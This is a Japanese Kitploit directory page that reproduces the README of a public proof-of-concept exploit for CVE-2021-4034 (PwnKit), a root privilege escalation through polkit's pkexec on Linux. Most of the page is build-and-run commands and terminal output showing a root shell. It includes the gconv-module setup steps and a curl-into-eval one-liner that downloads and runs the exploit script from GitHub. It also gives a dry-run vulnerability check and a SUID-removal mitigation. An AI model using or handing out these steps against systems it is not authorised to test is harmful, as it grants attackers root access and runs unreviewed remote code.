Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-4034 — CVE-2021-4034 (PwnKit) の概念実証エクスプロイト。Linux システム上で polkit pkexec SUID バイナリを標的にし、ローカル権限昇格を root に達成する。 | Kitploit
ツール/GitHubGitHub/fei9747/cve-2021-4034
特権昇格脆弱性分析エクスプロイトペネトレーションテストレッドチーミングバイナリエクスプロイト
GitHubfei9747/cve-2021-4034

CVE-2021-4034

CVE-2021-4034 (PwnKit) の概念実証エクスプロイト。Linux システム上で polkit pkexec SUID バイナリを標的にし、ローカル権限昇格を root に達成する。

リポジトリを見る
3年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-4034

polkit権限昇格エクスプロイトのための一日

make、./cve-2021-4034を実行するだけで、rootシェルが手に入ります。

実際の作者によるオリジナルアドバイザリはこちら

PoC

エクスプロイトが正常に動作した場合、すぐにrootシェルが取得できます。

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

ほとんどのシステムでpolkitを更新すると、エクスプロイトがパッチされるため、使用方法が表示されプログラムが終了します:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$

ドライラン

シェルを実行せずに、システムが脆弱かどうかをテストするだけの場合は、dry-runターゲットをコンパイルしてください。

プログラムが"root"と表示して終了した場合、システムがこのエクスプロイトに対して脆弱であることを意味します。

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1

システムが脆弱でない場合、エラーを表示して終了します。

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0

LinuxのPolkit pkexecについて

Polkit(旧称PolicyKit)は、Unix系オペレーティングシステムにおいてシステム全体の権限を制御するためのコンポーネントです。非特権プロセスが特権プロセスと通信するための体系的な方法を提供します。また、polkitを使用して、pkexecコマンドの後に実行したいコマンド(root権限で)を指定することで、昇格した権限でコマンドを実行することも可能です。

ワンライナーコマンド

次のコマンドを使用して、ダウンロードおよび実行可能な単一のスクリプトで簡単にシステムを悪用できます:

root@kitploit:~
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root

緩和策

お使いのオペレーティングシステムにパッチが利用できない場合、一時的な緩和策としてpkexecからSUIDビットを削除できます。

root@kitploit:~
# chmod 0755 /usr/bin/pkexec

これにより、エクスプロイトはpkexecにsetuidビットが必要であるとエラーを表示して失敗します。

root@kitploit:~
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root
ツールをダウンロード